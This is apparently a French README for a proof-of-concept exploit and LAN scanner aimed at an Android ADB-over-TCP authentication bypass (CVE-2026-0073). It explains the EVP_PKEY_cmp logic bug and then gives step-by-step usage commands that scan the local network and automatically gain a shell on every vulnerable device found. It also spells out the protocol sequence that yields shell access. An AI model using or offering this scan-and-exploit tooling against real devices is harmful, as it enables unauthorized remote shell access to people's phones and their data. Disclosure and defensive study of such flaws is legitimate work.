
Un outil PoC pour la CVE-2026-0073 sur les appareils Android 11+ qui permet une exécution de code à distance (RCE) instantanée en zéro clic sur tout appareil non corrigé avec adb sur tcp activé.
Une preuve de concept d'exploit et un scanner réseau pour CVE-2026-0073, une vulnérabilité critique d'exécution de code à distance sans interaction ni clic dans le chemin d'authentification ADB-over-TCP d'adbd sur Android.
La vulnérabilité est un bug logique dans adbd_tls_verify_cert() (daemon/auth.cpp) où EVP_PKEY_cmp() est traité comme un prédicat booléen. Lorsqu'une clé RSA stockée est comparée à un certificat client TLS non-RSA (EC P-256 ou Ed25519), l'API renvoie -1 (incompatibilité de type), ce qui est truthy en C/C++. Cela transforme une incompatibilité entre algorithmes en une correspondance réussie de clé hôte — contournant entièrement l'authentification.
Détails techniques obtenus auprès de BARGHEST.
Code PoC de base provenant de SecTestAnnaQuinn.
Corrigé dans le Bulletin de sécurité Android — mai 2026.
| Attribut | Détail |
|---|---|
| Vecteur d'attaque | Réseau (adjacent / proximal) |
| Interaction | Aucune (zero-click) |
| Privilège obtenu | Utilisateur shell (uid=2000), SELinux u:r:shell:s0 |
| Primitive d'exploitation | Accès shell distant via ADB |
| CVSS | Critique (9.8) |
Depuis le contexte shell, un attaquant peut inspecter les propriétés système, l'état des processus, les journaux, les notifications ; installer et supprimer des paquets ; utiliser run-as contre les applications débogables ; et préparer une exploitation ultérieure.
| Fichier | Objectif |
|---|---|
adb_tls_auth_bypass.py | PoC d'exploit mono-cible (original de SecTestAnnaQuinn, corrigé pour la somme de contrôle) |
adbt_scanner.py | Scanner réseau — découvre les appareils vulnérables + les exploite |
requirements.txt | Dépendances Python |
Pour que l'exploit réussisse, l'appareil Android cible doit avoir :
adbd de la plateforme)/data/misc/adb/adb_keys# Créer l'environnement virtuel
uv venv
# L'activer
source .venv/bin/activate
# Installer les dépendances
uv pip install -r requirements.txt
Dépendances :
| Paquet | Utilisé par | Requis ? |
|---|---|---|
cryptography | Les deux scripts (génération de certificat EC, TLS) | Oui |
netifaces | Scanner (détection de sous-réseau) | Recommandé |
zeroconf | Scanner (découverte mDNS) | Recommandé |
scapy | Scanner (balayage ARP) | Recommandé |
Le scanner se dégrade gracieusement lorsque des paquets optionnels sont manquants — il émet un avertissement et revient à des méthodes alternatives (commande système ip, nmap, scan de connexion TCP).
Attaquez directement un appareil vulnérable connu.
python3 adb_tls_auth_bypass.py 192.168.1.42 # shell interactif
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"
Ou via le scanner :
python3 adbt_scanner.py --host 192.168.1.42 # shell interactif
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"
Scannez le réseau local pour trouver des appareils vulnérables et exploitez toutes les cibles confirmées.
# Scan complet : mDNS → ARP → scan de ports → sonde ADB → exploit
python3 adbt_scanner.py --scan
# Exécuter une commande spécifique sur tous les appareils vulnérables
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"
# Reconnaissance uniquement — découvrir sans exploiter
python3 adbt_scanner.py --scan --no-exploit
# Scanner plusieurs ports
python3 adbt_scanner.py --scan --ports 5555,5580,5037
# Remplacer le sous-réseau détecté (hôtes multi-hébergés, plages spécifiques)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24
# Régler les délais d'attente pour les réseaux lents
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10
# Étendre la fenêtre d'écoute mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60
# Ignorer des phases de découverte spécifiques
python3 adbt_scanner.py --scan --no-mdns # ignorer mDNS, ARP uniquement
python3 adbt_scanner.py --scan --no-arp # ignorer ARP, mDNS uniquement
--scan Scanner le réseau pour des appareils vulnérables + exploiter
--host HOST Exploit direct mono-cible
--port PORT Port ADB pour le mode --host (défaut : 5555)
--cmd COMMAND Commande shell à exécuter
-v, --verbose Journalisation détaillée
--mdns-timeout SECONDS Durée d'écoute mDNS (défaut : 30)
--ports PORTS Ports séparés par des virgules en mode --scan (défaut : 5555)
--subnet CIDR Remplacer le sous-réseau détecté (ex. 192.168.2.0/24)
--connect-timeout SECONDS Délai d'attente de connexion TCP (défaut : 2.0)
--probe-timeout SECONDS Délai d'attente de la sonde ADB (défaut : 3.0)
--arp-timeout SECONDS Délai d'attente du balayage ARP (défaut : 3)
--no-mdns Ignorer la découverte mDNS
--no-arp Ignorer le balayage ARP + le scan de ports
--no-exploit S'arrêter après la phase de sonde du protocole ADB
┌─────────────────────────────────────────────────────────────┐
│ 1. Détection de sous-réseau — netifaces → ip route → astuce socket │
│ 2. Écouteur mDNS — _adb-tls-connect._tcp (30 s par défaut) │
│ 3. Balayage ARP — scapy.arping → nmap -sn │
│ 4. Scan de ports — connexion TCP à chaque hôte:port │
│ 5. Sonde du protocole ADB — envoyer CNXN, classer la réponse │
│ │
│ STLS → VULNÉRABLE (passer à l'exploit) │
│ AUTH → authentification ADB héritée (pas cette CVE) │
│ CNXN → ouvert, sans authentification (déjà accessible) │
│ NO_ADB → pas un service ADB │
│ │
│ 6. Exploitation — mise à niveau TLS → contournement d'auth → shell │
└─────────────────────────────────────────────────────────────┘
mDNS est la méthode d'identification la plus précise : lorsque le débogage sans fil est apparié, Android diffuse _adb-tls-connect._tcp explicitement. Le balayage ARP + le scan de ports servent de solution de repli fourre-tout.
Phase 1 — ADB en clair
Client → CNXN(payload="host::features=...")
Appareil → STLS (mise à niveau TLS requise)
Phase 2 — TLS 1.3 avec certificat client inter-algorithmes
Client → réponse STLS
Client → poignée de main TLS 1.3 + certificat client EC P-256
L'appareil appelle adbd_tls_verify_cert() :
known_evp = clé RSA depuis /data/misc/adb/adb_keys
evp_pkey = clé EC P-256 depuis le certificat client
EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (incompatibilité de type)
if (-1) → verified = true ← BUG : -1 est truthy
Phase 3 — Couche de service ADB post-TLS
Le client vide le CNXN de l'appareil (transport déjà en ligne)
Aucun CNXN hôte envoyé (déclencherait l'expulsion handle_new_connection)
Client → OPEN(local_id, window=32MB, payload="shell:\x00")
Appareil → OKAY → flux shell établi